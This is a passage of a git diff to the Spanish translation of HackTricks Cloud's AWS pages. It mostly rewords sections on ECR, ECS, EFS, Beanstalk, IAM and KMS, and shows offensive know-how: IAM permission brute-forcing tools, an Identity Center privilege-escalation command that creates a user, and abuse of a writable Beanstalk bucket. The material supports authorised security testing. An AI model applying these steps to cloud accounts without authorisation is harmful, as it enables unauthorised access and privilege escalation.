**políticas de IAM** específicas para otorgar diferentes **permisos**. - La **configuración de escaneo** permite escanear en busca de vulnerabilidades en las imágenes almacenadas dentro del repositorio. 2. **Registros Públicos**: - **Accesibilidad pública**: Las imágenes de contenedor almacenadas en un registro público de ECR son **accesibles para cualquier persona en Internet sin autenticación.** -- El URI de un **repositorio público** es como `public.ecr.aws//`. Aunque la parte `` puede ser cambiada por el administrador a otra cadena más fácil de recordar. +- La URI de un **repositorio público** es como `public.ecr.aws//`. Aunque la parte `` puede ser cambiada por el administrador a otra cadena más fácil de recordar. **Repositorios** Estas son las **imágenes** que están en el **registro privado** o en el **público**. > [!NOTE] -> Tenga en cuenta que para subir una imagen a un repositorio, el **repositorio de ECR debe tener el mismo nombre que la imagen**. +> Tenga en cuenta que para subir una imagen a un repositorio, el **repositorio ECR debe tener el mismo nombre que la imagen**. #### Políticas de Registro y Repositorio -**Registros y repositorios** también tienen **políticas que se pueden usar para otorgar permisos a otros principales/cuentas**. Por ejemplo, en la siguiente imagen de política de repositorio, puede ver cómo cualquier usuario de toda la organización podrá acceder a la imagen: +**Registros y repositorios** también tienen **políticas que se pueden usar para otorgar permisos a otros principales/cuentas**. Por ejemplo, en la siguiente política de repositorio, puede ver cómo cualquier usuario de toda la organización podrá acceder a la imagen:
@@ -81,7 +81,7 @@ En la siguiente página puedes verificar cómo **abusar de los permisos de ECR p ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post explotación +#### Post Explotación {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index bc0667b6d..9cd92bd4a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,12 +6,12 @@ ### Información Básica -Amazon **Elastic Container Services** o ECS proporciona una plataforma para **alojar aplicaciones en contenedores en la nube**. ECS tiene dos **métodos de implementación**, tipo de instancia **EC2** y una opción **sin servidor**, **Fargate**. El servicio **hace que ejecutar contenedores en la nube sea muy fácil y sin complicaciones**. +Amazon **Elastic Container Services** o ECS proporciona una plataforma para **alojar aplicaciones en contenedores en la nube**. ECS tiene dos métodos de **despliegue**, tipo de instancia **EC2** y una opción **sin servidor**, **Fargate**. El servicio **hace que ejecutar contenedores en la nube sea muy fácil y sin complicaciones**. ECS opera utilizando los siguientes tres bloques de construcción: **Clusters**, **Services** y **Task Definitions**. - **Clusters** son **grupos de contenedores** que se están ejecutando en la nube. Como se mencionó anteriormente, hay dos tipos de lanzamiento para contenedores, EC2 y Fargate. AWS define el tipo de lanzamiento **EC2** como permitir a los clientes “ejecutar \[sus] aplicaciones en contenedores en un clúster de instancias de Amazon EC2 que \[ellos] **gestionan**”. **Fargate** es similar y se define como “\[permitiendo] ejecutar sus aplicaciones en contenedores **sin necesidad de aprovisionar y gestionar** la infraestructura de backend”. -- **Services** se crean dentro de un clúster y son responsables de **ejecutar las tareas**. Dentro de una definición de servicio **se define el número de tareas a ejecutar, escalado automático, proveedor de capacidad (Fargate/EC2/Externo),** información de **red** como VPC, subredes y grupos de seguridad. +- **Services** se crean dentro de un clúster y son responsables de **ejecutar las tareas**. Dentro de una definición de servicio **se define el número de tareas a ejecutar, escalado automático, proveedor de capacidad (Fargate/EC2/External),** información de **red** como VPC, subredes y grupos de seguridad. - Hay **2 tipos de aplicaciones**: - **Service**: Un grupo de tareas que maneja un trabajo computacional de larga duración que puede ser detenido y reiniciado. Por ejemplo, una aplicación web. - **Task**: Una tarea independiente que se ejecuta y termina. Por ejemplo, un trabajo por lotes. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 7d72af654..771172081 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -8,7 +8,7 @@ Amazon Elastic File System (EFS) se presenta como un **sistema de archivos de red completamente gestionado, escalable y elástico** por AWS. El servicio facilita la creación y configuración de **sistemas de archivos** que pueden ser accedidos simultáneamente por múltiples instancias de EC2 y otros servicios de AWS. Las características clave de EFS incluyen su capacidad para escalar automáticamente sin intervención manual, proporcionar acceso de baja latencia, soportar cargas de trabajo de alto rendimiento, garantizar la durabilidad de los datos e integrarse sin problemas con varios mecanismos de seguridad de AWS. -Por **defecto**, la carpeta EFS a montar será **`/`** pero podría tener un **nombre diferente**. +Por **defecto**, la carpeta de EFS a montar será **`/`** pero podría tener un **nombre diferente**. ### Acceso a la Red @@ -57,7 +57,7 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Access -Por **defecto**, cualquier persona con **acceso a la red al EFS** podrá montarlo, **leerlo y escribir en él incluso como usuario root**. Sin embargo, las políticas del sistema de archivos podrían estar en vigor **solo permitiendo a los principales con permisos específicos** acceder a él.\ +Por **defecto**, cualquier persona con **acceso a la red al EFS** podrá montar, **leer y escribir incluso como usuario root**. Sin embargo, las políticas del sistema de archivos podrían estar en vigor **solo permitiendo a los principales con permisos específicos** acceder a él.\ Por ejemplo, esta política del sistema de archivos **no permitirá ni siquiera montar** el sistema de archivos si **no tienes el permiso de IAM**: ```json { @@ -105,7 +105,7 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Tenga en cuenta que incluso al intentar montar un punto de acceso, aún necesita poder **contactar el servicio NFS a través de la red**, y si el EFS tiene una **política** de sistema de archivos, necesita **suficientes permisos de IAM** para montarlo. +> Tenga en cuenta que incluso al intentar montar un punto de acceso, aún necesita poder **contactar el servicio NFS a través de la red**, y si el EFS tiene una **política** de sistema de archivos, necesita **suficientes permisos IAM** para montarlo. Los puntos de acceso se pueden utilizar para los siguientes propósitos: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 827e7622b..4936b14f2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -6,9 +6,9 @@ Amazon Elastic Beanstalk proporciona una plataforma simplificada para **desplegar, gestionar y escalar aplicaciones y servicios web**. Soporta una variedad de lenguajes de programación y frameworks, como Java, .NET, PHP, Node.js, Python, Ruby y Go, así como contenedores Docker. El servicio es compatible con servidores de uso común, incluyendo Apache, Nginx, Passenger e IIS. -Elastic Beanstalk proporciona una forma simple y flexible de **desplegar tus aplicaciones en la nube de AWS**, sin necesidad de preocuparse por la infraestructura subyacente. **Automáticamente** maneja los detalles de la **provisión** de capacidad, **balanceo** de carga, **escalado** y **monitoreo** de la salud de la aplicación, permitiéndote concentrarte en escribir y desplegar tu código. +Elastic Beanstalk proporciona una forma simple y flexible de **desplegar tus aplicaciones en la nube de AWS**, sin necesidad de preocuparte por la infraestructura subyacente. **Automáticamente** maneja los detalles de **provisionamiento** de capacidad, **balanceo** de carga, **escalado** y **monitoreo** de la salud de la aplicación, permitiéndote enfocarte en escribir y desplegar tu código. -La infraestructura creada por Elastic Beanstalk es gestionada por **Grupos de Autoescalado** en **EC2** (con un balanceador de carga). Lo que significa que al final del día, si **comprometes el host**, deberías saber sobre EC2: +La infraestructura creada por Elastic Beanstalk es gestionada por **Grupos de Autoscaling** en **EC2** (con un balanceador de carga). Lo que significa que al final del día, si **comprometes el host**, deberías saber sobre EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -32,21 +32,21 @@ En AWS Elastic Beanstalk, los conceptos de "aplicación" y "entorno" sirven para #### Entorno -- Un entorno es una **instancia provisionada de tu aplicación** que se ejecuta en la infraestructura de AWS. Es **donde se despliega y ejecuta el código de tu aplicación**. Elastic Beanstalk provisiona los recursos necesarios (por ejemplo, instancias EC2, balanceadores de carga, grupos de autoescalado, bases de datos) según la configuración del entorno. +- Un entorno es una **instancia provisionada de tu aplicación** que se ejecuta en la infraestructura de AWS. Es **donde se despliega y ejecuta el código de tu aplicación**. Elastic Beanstalk provisiona los recursos necesarios (por ejemplo, instancias de EC2, balanceadores de carga, grupos de autoescalado, bases de datos) según la configuración del entorno. - **Cada entorno ejecuta una sola versión de tu aplicación**, y puedes tener múltiples entornos para diferentes propósitos, como desarrollo, pruebas, preproducción y producción. - Cuando creas un entorno, eliges una plataforma (por ejemplo, Java, .NET, Node.js, etc.) y un tipo de entorno (por ejemplo, servidor web o trabajador). También puedes personalizar la configuración del entorno para controlar varios aspectos de la infraestructura y la configuración de la aplicación. ### 2 tipos de Entornos -1. **Entorno de Servidor Web**: Está diseñado para **albergar y servir aplicaciones web y APIs**. Estas aplicaciones generalmente manejan solicitudes HTTP/HTTPS entrantes. El entorno de servidor web provisiona recursos como **instancias EC2, balanceadores de carga y grupos de autoescalado** para manejar el tráfico entrante, gestionar la capacidad y asegurar la alta disponibilidad de la aplicación. -2. **Entorno de Trabajador**: Está diseñado para procesar **tareas en segundo plano**, que a menudo son operaciones que consumen tiempo o recursos y que no requieren respuestas inmediatas a los clientes. El entorno de trabajador provisiona recursos como **instancias EC2 y grupos de autoescalado**, pero **no tiene un balanceador de carga** ya que no maneja solicitudes HTTP/HTTPS directamente. En su lugar, consume tareas de una **cola de Amazon Simple Queue Service (SQS)**, que actúa como un búfer entre el entorno de trabajador y las tareas que procesa. +1. **Entorno de Servidor Web**: Está diseñado para **albergar y servir aplicaciones web y APIs**. Estas aplicaciones generalmente manejan solicitudes HTTP/HTTPS entrantes. El entorno de servidor web provisiona recursos como **instancias de EC2, balanceadores de carga y grupos de autoescalado** para manejar el tráfico entrante, gestionar la capacidad y asegurar la alta disponibilidad de la aplicación. +2. **Entorno de Trabajador**: Está diseñado para procesar **tareas en segundo plano**, que a menudo son operaciones que consumen tiempo o recursos y que no requieren respuestas inmediatas a los clientes. El entorno de trabajador provisiona recursos como **instancias de EC2 y grupos de autoescalado**, pero **no tiene un balanceador de carga** ya que no maneja solicitudes HTTP/HTTPS directamente. En su lugar, consume tareas de una **cola de Amazon Simple Queue Service (SQS)**, que actúa como un búfer entre el entorno de trabajador y las tareas que procesa. ### Seguridad -Al crear una aplicación en Beanstalk, hay 3 opciones de seguridad muy importantes para elegir: +Al crear una aplicación en Beanstalk hay 3 opciones de seguridad muy importantes para elegir: -- **Par de claves EC2**: Esta será la **clave SSH** que podrá acceder a las instancias EC2 que ejecutan la aplicación. -- **Perfil de instancia IAM**: Este es el **perfil de instancia** que tendrán las instancias (**privilegios IAM**). +- **Par de claves de EC2**: Esta será la **clave SSH** que podrá acceder a las instancias de EC2 que ejecutan la aplicación. +- **Perfil de instancia de IAM**: Este es el **perfil de instancia** que tendrán las instancias (**privilegios de IAM**). - El rol autogenerado se llama **`aws-elasticbeanstalk-ec2-role`** y tiene acceso interesante sobre todo ECS, todo SQS, DynamoDB elasticbeanstalk y elasticbeanstalk S3 utilizando las políticas gestionadas por AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). - **Rol de servicio**: Este es el **rol que el servicio de AWS** utilizará para realizar todas las acciones necesarias. Hasta donde sé, un usuario regular de AWS no puede acceder a ese rol. - Este rol generado por AWS se llama **`aws-elasticbeanstalk-service-role`** y utiliza las políticas gestionadas por AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) y [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) @@ -57,14 +57,14 @@ Por defecto, **la versión de metadatos 1 está deshabilitada**: ### Exposición -Los datos de Beanstalk se almacenan en un **bucket S3** con el siguiente nombre: **`elasticbeanstalk--`** (si fue creado en la consola de AWS). Dentro de este bucket encontrarás el **código fuente de la aplicación** subido. +Los datos de Beanstalk se almacenan en un **bucket de S3** con el siguiente nombre: **`elasticbeanstalk--`** (si fue creado en la consola de AWS). Dentro de este bucket encontrarás el **código fuente de la aplicación** subido. La **URL** de la página web creada es **`http://-env...elasticbeanstalk.com/`** > [!WARNING] > Si obtienes **acceso de lectura** sobre el bucket, puedes **leer el código fuente** e incluso encontrar **credenciales sensibles** en él. > -> Si obtienes **acceso de escritura** sobre el bucket, podrías **modificar el código fuente** para **comprometer** el **rol IAM** que la aplicación está utilizando la próxima vez que se ejecute. +> Si obtienes **acceso de escritura** sobre el bucket, podrías **modificar el código fuente** para **comprometer** el **rol de IAM** que la aplicación está utilizando la próxima vez que se ejecute. ### Enumeración ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 8e2a32edb..fa5816356 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache es un **servicio de almacenamiento de datos en memoria y caché completamente gestionado** que proporciona soluciones de alto rendimiento, baja latencia y escalables para aplicaciones. Soporta dos motores en memoria de código abierto populares: **Redis y Memcached**. ElastiCache **simplifica** la **configuración**, **gestión** y **mantenimiento** de estos motores, permitiendo a los desarrolladores descargar tareas que consumen tiempo, como aprovisionamiento, parches, monitoreo y **copias de seguridad**. +AWS ElastiCache es un **servicio de almacenamiento de datos y caché en memoria totalmente gestionado** que proporciona soluciones de alto rendimiento, baja latencia y escalables para aplicaciones. Soporta dos motores en memoria de código abierto populares: **Redis y Memcached**. ElastiCache **simplifica** la **configuración**, **gestión** y **mantenimiento** de estos motores, permitiendo a los desarrolladores descargar tareas que consumen tiempo, como aprovisionamiento, parches, monitoreo y **copias de seguridad**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 69c3b9f7e..7380f3a44 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,17 +4,17 @@ ## EMR -El servicio Elastic MapReduce (EMR) de AWS, a partir de la versión 4.8.0, introdujo una **configuración de seguridad** que mejora la protección de datos al permitir a los usuarios especificar configuraciones de cifrado para datos en reposo y en tránsito dentro de los clústeres EMR, que son grupos escalables de instancias EC2 diseñadas para procesar marcos de big data como Apache Hadoop y Spark. +El servicio Elastic MapReduce (EMR) de AWS, a partir de la versión 4.8.0, introdujo una característica de **configuración de seguridad** que mejora la protección de datos al permitir a los usuarios especificar configuraciones de cifrado para datos en reposo y en tránsito dentro de los clústeres EMR, que son grupos escalables de instancias EC2 diseñadas para procesar marcos de big data como Apache Hadoop y Spark. Las características clave incluyen: - **Cifrado de Clúster por Defecto**: Por defecto, los datos en reposo dentro de un clúster no están cifrados. Sin embargo, habilitar el cifrado proporciona acceso a varias características: - **Configuración Unificada de Clave de Linux**: Cifra los volúmenes de clúster EBS. Los usuarios pueden optar por el Servicio de Gestión de Claves de AWS (KMS) o un proveedor de claves personalizado. - **Cifrado HDFS de Código Abierto**: Ofrece dos opciones de cifrado para Hadoop: -- Secure Hadoop RPC (Remote Procedure Call), configurado para privacidad, aprovechando la Capa de Seguridad de Autenticación Simple. -- El cifrado de transferencia de bloques HDFS, configurado en verdadero, utiliza el algoritmo AES-256. +- RPC (Llamada a Procedimiento Remoto) de Hadoop Seguro, configurado para privacidad, aprovechando la Capa de Seguridad de Autenticación Simple. +- Cifrado de transferencia de bloques HDFS, configurado como verdadero, utiliza el algoritmo AES-256. - **Cifrado en Tránsito**: Se centra en asegurar los datos durante la transferencia. Las opciones incluyen: -- **Capa de Seguridad de Transporte de Código Abierto (TLS)**: El cifrado se puede habilitar eligiendo un proveedor de certificados: +- **Capa de Seguridad de Transporte (TLS) de Código Abierto**: El cifrado se puede habilitar eligiendo un proveedor de certificados: - **PEM**: Requiere la creación manual y agrupación de certificados PEM en un archivo zip, referenciado desde un bucket S3. - **Personalizado**: Implica agregar una clase Java personalizada como proveedor de certificados que suministra artefactos de cifrado. @@ -22,7 +22,7 @@ Una vez que se integra un proveedor de certificados TLS en la configuración de - **Hadoop**: - Puede reducir el shuffle cifrado usando TLS. -- Secure Hadoop RPC con Capa de Seguridad de Autenticación Simple y Transferencia de Bloques HDFS con AES-256 se activan con cifrado en reposo. +- RPC de Hadoop Seguro con Capa de Seguridad de Autenticación Simple y Transferencia de Bloques HDFS con AES-256 se activan con cifrado en reposo. - **Presto** (versión EMR 5.6.0+): - La comunicación interna entre nodos de Presto está asegurada usando SSL y TLS. - **Tez Shuffle Handler**: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index e85387a21..3e252c4a3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -94,27 +94,27 @@ Si estás interesado en tus propios permisos pero no tienes acceso para consulta #### bf-aws-permissions -La herramienta [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) es solo un script de bash que ejecutará, utilizando el perfil indicado, todas las acciones **`list*`, `describe*`, `get*`** que pueda encontrar usando los mensajes de ayuda de `aws` cli y **devolverá las ejecuciones exitosas**. +La herramienta [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) es solo un script de bash que se ejecutará utilizando el perfil indicado todas las acciones **`list*`, `describe*`, `get*`** que pueda encontrar usando los mensajes de ayuda de `aws` cli y **devolverá las ejecuciones exitosas**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` #### bf-aws-perms-simulate -La herramienta [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) puede encontrar tus permisos actuales (o los de otros principales) si tienes el permiso **`iam:SimulatePrincipalPolicy`**. +La herramienta [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) puede encontrar tus permisos actuales (o los de otros principales) si tienes el permiso **`iam:SimulatePrincipalPolicy`** ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -Si encontraste **algunos permisos que tiene tu usuario**, y piensas que están siendo otorgados por un **rol gestionado de AWS** (y no por uno personalizado). Puedes usar la herramienta [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) para verificar todos los **roles gestionados de AWS que otorgan los permisos que descubriste que tienes**. +Si encontraste **algunos permisos que tiene tu usuario**, y crees que están siendo otorgados por un **rol gestionado de AWS** (y no por uno personalizado). Puedes usar la herramienta [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) para verificar todos los **roles gestionados de AWS que otorgan los permisos que descubriste que tienes**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> Es posible "saber" si los permisos que tienes son otorgados por un rol gestionado de AWS si ves que **tienes permisos sobre servicios que no se utilizan** por ejemplo. +> Es posible "saber" si los permisos que tienes son otorgados por un rol administrado de AWS si ves que **tienes permisos sobre servicios que no se utilizan** por ejemplo. #### Cloudtrail2IAM @@ -126,11 +126,11 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> Si encuentras .tfstate (archivos de estado de Terraform) o archivos de CloudFormation (que suelen ser archivos yaml ubicados dentro de un bucket con el prefijo cf-templates), también puedes leerlos para encontrar la configuración de aws y averiguar qué permisos se han asignado a quién. +> Si encuentras .tfstate (archivos de estado de Terraform) o archivos de CloudFormation (que suelen ser archivos yaml ubicados dentro de un bucket con el prefijo cf-templates), también puedes leerlos para encontrar la configuración de aws y ver qué permisos se han asignado a quién. #### enumerate-iam -Para usar la herramienta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) primero necesitas descargar todos los puntos finales de la API de AWS, de los cuales el script **`generate_bruteforce_tests.py`** obtendrá todos los **"list\_", "describe\_", y "get\_" endpoints.** Y finalmente, intentará **acceder a ellos** con las credenciales dadas y **indicar si funcionó**. +Para usar la herramienta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), primero necesitas descargar todos los endpoints de la API de AWS; a partir de esos, el script **`generate_bruteforce_tests.py`** obtendrá todos los **"list\_", "describe\_", y "get\_" endpoints.** Y finalmente, intentará **acceder a ellos** con las credenciales dadas y **indicar si funcionó**. (En mi experiencia, la **herramienta se cuelga en algún momento**, [**consulta esta solución**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para intentar solucionarlo). @@ -266,7 +266,7 @@ Los elementos principales del Centro de Identidad son: Luego, se crean relaciones para que los usuarios/grupos tengan Conjuntos de permisos sobre la Cuenta de AWS. > [!NOTE] -> Tenga en cuenta que hay 3 formas de adjuntar políticas a un Conjunto de permisos. Adjuntar políticas administradas por AWS, políticas administradas por el cliente (estas políticas deben ser creadas en todas las cuentas que el Conjunto de permisos está afectando), y políticas en línea (definidas allí). +> Tenga en cuenta que hay 3 formas de adjuntar políticas a un Conjunto de permisos. Adjuntar políticas gestionadas por AWS, políticas gestionadas por el cliente (estas políticas deben ser creadas en todas las cuentas que el Conjunto de permisos está afectando), y políticas en línea (definidas allí). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -363,10 +363,10 @@ external_id = 123456 aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` -- Crea un grupo y asígnale permisos y establece un usuario controlado en él -- Da permisos adicionales a un usuario o grupo controlado -- Por defecto, solo los usuarios con permisos de la Cuenta de Gestión podrán acceder y controlar el Centro de Identidad de IAM. +- Crea un grupo y asígnale permisos y establece en él un usuario controlado. +- Da permisos adicionales a un usuario o grupo controlado. +- Por defecto, solo los usuarios con permisos de la Cuenta de Gestión podrán acceder y controlar el IAM Identity Center. -Sin embargo, es posible a través de Administrador Delegado permitir que usuarios de una cuenta diferente lo gestionen. No tendrán exactamente los mismos permisos, pero podrán realizar [**actividades de gestión**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Sin embargo, es posible a través de Delegate Administrator permitir que usuarios de una cuenta diferente lo gestionen. No tendrán exactamente los mismos permisos, pero podrán realizar [**actividades de gestión**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 9f6e7526a..dbce8f6ba 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,9 +4,9 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose es un **servicio completamente gestionado** que facilita la entrega de **datos de transmisión en tiempo real**. Soporta una variedad de destinos, incluyendo Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk y puntos finales HTTP personalizados. +Amazon Kinesis Data Firehose es un **servicio completamente gestionado** que facilita la entrega de **datos de streaming en tiempo real**. Soporta una variedad de destinos, incluyendo Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk y puntos finales HTTP personalizados. -El servicio alivia la necesidad de escribir aplicaciones o gestionar recursos al permitir que los productores de datos se configuren para enviar datos directamente a Kinesis Data Firehose. Este servicio es responsable de la **entrega automática de datos al destino especificado**. Además, Kinesis Data Firehose proporciona la opción de **transformar los datos antes de su entrega**, mejorando su flexibilidad y aplicabilidad a varios casos de uso. +El servicio alivia la necesidad de escribir aplicaciones o gestionar recursos al permitir que los productores de datos se configuren para enviar datos directamente a Kinesis Data Firehose. Este servicio es responsable de la **entrega automática de datos al destino especificado**. Además, Kinesis Data Firehose ofrece la opción de **transformar los datos antes de su entrega**, mejorando su flexibilidad y aplicabilidad a varios casos de uso. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 7c5c192dd..b1ec9fe58 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -10,7 +10,7 @@ KMS utiliza **criptografía simétrica**. Esto se utiliza para **encriptar infor KMS es un **servicio específico de región**. -**Los administradores de Amazon no tienen acceso a tus claves**. No pueden recuperar tus claves y no te ayudan con la encriptación de tus claves. AWS simplemente administra el sistema operativo y la aplicación subyacente; depende de nosotros administrar nuestras claves de encriptación y gestionar cómo se utilizan esas claves. +**Los administradores de Amazon no tienen acceso a tus claves**. No pueden recuperar tus claves y no te ayudan con la encriptación de tus claves. AWS simplemente administra el sistema operativo y la aplicación subyacente; depende de nosotros administrar nuestras claves de encriptación y cómo se utilizan esas claves. **Claves Maestras de Cliente** (CMK): Pueden encriptar datos de hasta 4KB de tamaño. Se utilizan típicamente para crear, encriptar y desencriptar las DEKs (Claves de Encriptación de Datos). Luego, las DEKs se utilizan para encriptar los datos. @@ -29,11 +29,11 @@ Estas definen **quién puede usar y acceder a una clave en KMS**. Por **defecto:** -- Da acceso a la **IAM de la** **cuenta de AWS que posee la clave KMS** para gestionar el acceso a la clave KMS a través de IAM. +- Da acceso al **IAM de la** **cuenta de AWS que posee la clave KMS** para gestionar el acceso a la clave KMS a través de IAM. A diferencia de otras políticas de recursos de AWS, una **política de clave KMS de AWS no otorga automáticamente permiso a ninguno de los principales de la cuenta**. Para otorgar permiso a los administradores de la cuenta, **la política de clave debe incluir una declaración explícita** que proporcione este permiso, como esta. -- Sin permitir la cuenta (`"AWS": "arn:aws:iam::111122223333:root"`), los permisos de IAM no funcionarán. +- Sin permitir la cuenta(`"AWS": "arn:aws:iam::111122223333:root"`) los permisos de IAM no funcionarán. - **Permite que la cuenta use políticas de IAM** para permitir el acceso a la clave KMS, además de la política de clave. @@ -76,9 +76,9 @@ Concesiones: **Acceso**: -- A través de **política de clave** -- Si esto existe, esto tiene **precedencia** sobre la política de IAM -- A través de **política de IAM** -- A través de **concesiones** +- A través de **política de clave** -- Si esto existe, esto tiene **precedencia** sobre la política de IAM. +- A través de **política de IAM**. +- A través de **concesiones**.
@@ -86,22 +86,22 @@ Concesiones: Administrador de clave por defecto: -- Tienen acceso para gestionar KMS pero no para cifrar o descifrar datos -- Solo se pueden agregar usuarios y roles de IAM a la lista de Administradores de Clave (no grupos) -- Si se utiliza un CMK externo, los Administradores de Clave tienen el permiso para importar material de clave +- Tienen acceso para gestionar KMS pero no para cifrar o descifrar datos. +- Solo se pueden agregar usuarios y roles de IAM a la lista de Administradores de Clave (no grupos). +- Si se utiliza un CMK externo, los Administradores de Clave tienen el permiso para importar material de clave. ### Rotación de CMKs -- Cuanto más tiempo se deja la misma clave en su lugar, más datos se cifran con esa clave, y si esa clave se ve comprometida, entonces mayor será el área de impacto de los datos en riesgo. Además de esto, cuanto más tiempo esté activa la clave, aumenta la probabilidad de que sea comprometida. +- Cuanto más tiempo se deja la misma clave en su lugar, más datos se cifran con esa clave, y si esa clave es comprometida, entonces mayor será el área de impacto de los datos en riesgo. Además de esto, cuanto más tiempo esté activa la clave, aumenta la probabilidad de que sea comprometida. - **KMS rota las claves de cliente cada 365 días** (o puedes realizar el proceso manualmente cuando quieras) y **las claves gestionadas por AWS cada 3 años** y este tiempo no se puede cambiar. - **Las claves más antiguas se retienen** para descifrar datos que fueron cifrados antes de la rotación. -- En un compromiso, rotar la clave no eliminará la amenaza, ya que será posible descifrar todos los datos cifrados con la clave comprometida. Sin embargo, los **nuevos datos se cifrarán con la nueva clave**. +- En un compromiso, rotar la clave no eliminará la amenaza, ya que será posible descifrar todos los datos cifrados con la clave comprometida. Sin embargo, **los nuevos datos se cifrarán con la nueva clave**. - Si el **CMK** está en estado de **deshabilitado** o **pendiente de** **eliminación**, KMS **no realizará una rotación de clave** hasta que el CMK sea reactivado o se cancele la eliminación. #### Rotación manual - Se **necesita crear un nuevo CMK**, luego, se crea un nuevo CMK-ID, por lo que necesitarás **actualizar** cualquier **aplicación** para **referenciar** el nuevo CMK-ID. -- Para facilitar este proceso, puedes **usar alias para referirte a un key-id** y luego solo actualizar la clave a la que se refiere el alias. +- Para facilitar este proceso, puedes **usar alias para referenciar un key-id** y luego solo actualizar la clave a la que se refiere el alias. - Necesitas **mantener claves antiguas para descifrar archivos antiguos** cifrados con ellas. Puedes importar claves de tu infraestructura de claves local. @@ -110,12 +110,12 @@ Puedes importar 